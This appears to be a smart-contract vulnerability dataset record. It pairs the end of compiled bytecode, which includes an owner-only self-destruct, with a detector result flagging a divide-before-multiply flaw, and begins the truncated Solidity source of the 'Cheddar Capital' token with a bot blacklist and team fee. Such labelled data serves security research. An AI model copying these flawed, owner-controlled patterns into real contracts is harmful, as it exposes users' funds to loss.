155b610ffb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f42616420616d6f756e740000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110a3565b67016345785d8a000081101580156110305750600360008154811061102157fe5b90600052602060002001548111155b6110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f42616420616d6f756e740000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701819055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008018190555042600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160006101000a81548164ffffffffff021916908364ffffffffff16021790555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff167f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149f57600a818161131b57fe5b0460026000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d1600a848161148857fe5b046040518082815260200191505060405180910390a35b6114a98282613460565b4262015180600660009054906101000a900464ffffffffff160164ffffffffff1610156114d9576114d8613a34565b5b6114e1612daf565b73ffffffffffffffffffffffffffffffffffffffff166108fc6064838161150457fe5b049081150290604051600060405180830381858888f19350505050158015611530573d6000803e3d6000fd5b505050565b600080600080600b54600660009054906101000a900464ffffffffff166008546009600060075481526020019081526020016000206000600a60008060ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935093509350935090919293565b60085481565b6000806000806000806000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff16600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154600260008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601549650965096509650965096509650919395979092949650565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4163636573732064656e69656420286f6e6c79206772616e64206f776e65722981525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4163636573732064656e69656420286f6e6c79206772616e64206f776e65722981525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160149054906101000a900460ff1615611aca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6000803073ffffffffffffffffffffffffffffffffffffffff16636da61d1e336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015611b4957600080fd5b505afa158015611b5d573d6000803e3d6000fd5b505050506040513d6040811015611b7357600080fd5b8101908080519060200190929190805190602001909291905050509150915080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410611c49576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f46756c6c207061796f757473000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000821115611d91578082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115611ce657600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154810391505b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008016000828254019250508190555081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282540192505081905550611d903383613cf5565b5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154108015611e2457506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b15611fab576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115611f0457600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410801561203e57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154115b156121c5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015401111561211e57600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410801561225857506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154115b156123df576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015401111561233857600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b60008211612455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f5a65726f207061796f757400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b016000828254019250508190555081600b600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156124fb573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364836040518082815260200191505060405180910390a280600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410612624573373ffffffffffffffffffffffffffffffffffffffff167f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e4600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546040518082815260200191505060405180910390a25b5050565b612630613f6d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6126f9613f75565b565b6000600160149054906101000a900460ff16905090565b6005818154811061271f57fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6000803073ffffffffffffffffffffffffffffffffffffffff16638959af3c600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156127d957600080fd5b505afa1580156127ed573d6000803e3d6000fd5b505050506040513d602081101561280357600080fd5b8101908080519060200190929190505050905080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008015410156129f257600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154606462015180600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff1642038161290d57fe5b04600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154028161295957fe5b040391508082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801540111156129f157600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154810391505b5b915091565b6129ff613f6d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ac0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6009602052816000526040600020602052806000526040600020600091509150505481565b600080600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0154600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b0154600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c015493509350935093509193509193565b612ccd613f6d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612d9661407e565b565b6000600a601f830281612da757fe5b049050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b600b5481565b600660009054906101000a900464ffffffffff1681565b60026020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040154908060050154908060060154908060070154908060080154908060090160009054906101000a900464ffffffffff169080600a01549080600b01549080600c015490508d565b612e9a614540565b612ea2614562565b60008090505b6005805490508160ff16101561305c57600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f2b5761305c565b600a60008260ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838260ff1660048110612f7457fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506009600060075481526020019081526020016000206000600a60008460ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054828260ff166004811061304657fe5b6020020181815250508080600101915050612ea8565b509091565b6003818154811061306e57fe5b906000526020600020016000915090505481565b6004818154811061308f57fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6130ee613f6d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146131af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6131b7613a34565b565b6131c1613f6d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806145856026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160149054906101000a900460ff1615613449576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6134533382614187565b61345d3334610b02565b50565b6014818161346a57fe5b046008600082825401925050819055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561351c5750613a30565b8160096000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008090505b6005805490508160ff161015613a2d578173ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561360457613a2d565b600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156136cf5781600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613a2d565b6009600060075481526020019081526020016000206000600a60008460ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460096000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115613a205760006001820190505b6005805490508160ff161015613903578273ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156138f65760008190505b6005805490508160ff16116138f057600a60006001830160ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050613840565b50613903565b80806001019150506137bd565b50600060016005805490500390505b8160ff168160ff1611156139c257600a60006001830360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808060019003915050613912565b5081600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613a2d565b8080600101915050613582565b50505b5050565b42600660006101000a81548164ffffffffff021916908364ffffffffff1602179055506007600081548092919060010191905055506000600a60085481613a7757fe5b04905060008090505b6005805490508160ff161015613c7457600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613b0357613c74565b6000606460058360ff1681548110613b1757fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16840281613b4357fe5b0490508060026000600a60008660ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254019250508190555080600860008282540392505081905550600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a826040518082815260200191505060405180910390a2508080600101915050613a80565b5060008090505b6005805490508160ff161015613cf1576000600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050613c7b565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b6004805490508160ff161015613f6757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613dac57613f67565b6001810160ff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613ef5576000606460048360ff1681548110613e0f57fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16850281613e3b57fe5b04905080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601600082825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea836040518082815260200191505060405180910390a3505b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508080600101915050613d62565b50505050565b600033905090565b600160149054906101000a900460ff16613ff7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61403b613f6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600160149054906101000a900460ff1615614101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258614144613f6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561425157508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156142f457506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff1611806142f357506142c4612daf565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b1561453c5780600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919060010191905055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf64160405160405180910390a360008090505b6004805490508160ff16101561453a57600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144765761453a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c0160008154809291906001019190505550600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150808060010191505061442c565b505b5050565b6040518060800160405280600490602082028036833780820191505090505090565b604051806080016040528060049060208202803683378082019150509050509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e29464f83d37a640f518ae6ea9e8d83bf152ed14dd554fbe54655dfce7b29fbf64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,389
0x7da943d76cef3e23f5a38b61df35d13bf96f868c
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* _|_|_| _| _| _|_|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _| _|_|_|_| _|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| _|_|_| _|_|_|_|_| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _| _| _|_|_| _| _| _| _|_|_|_| */ // Website: https://cheddar-capital.com/ // Telegram: https://t.me/cheddarcapital_eth // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract CHEDDARCAPITAL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Cheddar Capital"; string private constant _symbol = "CHEDCAPITAL"; uint private constant _decimals = 9; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function 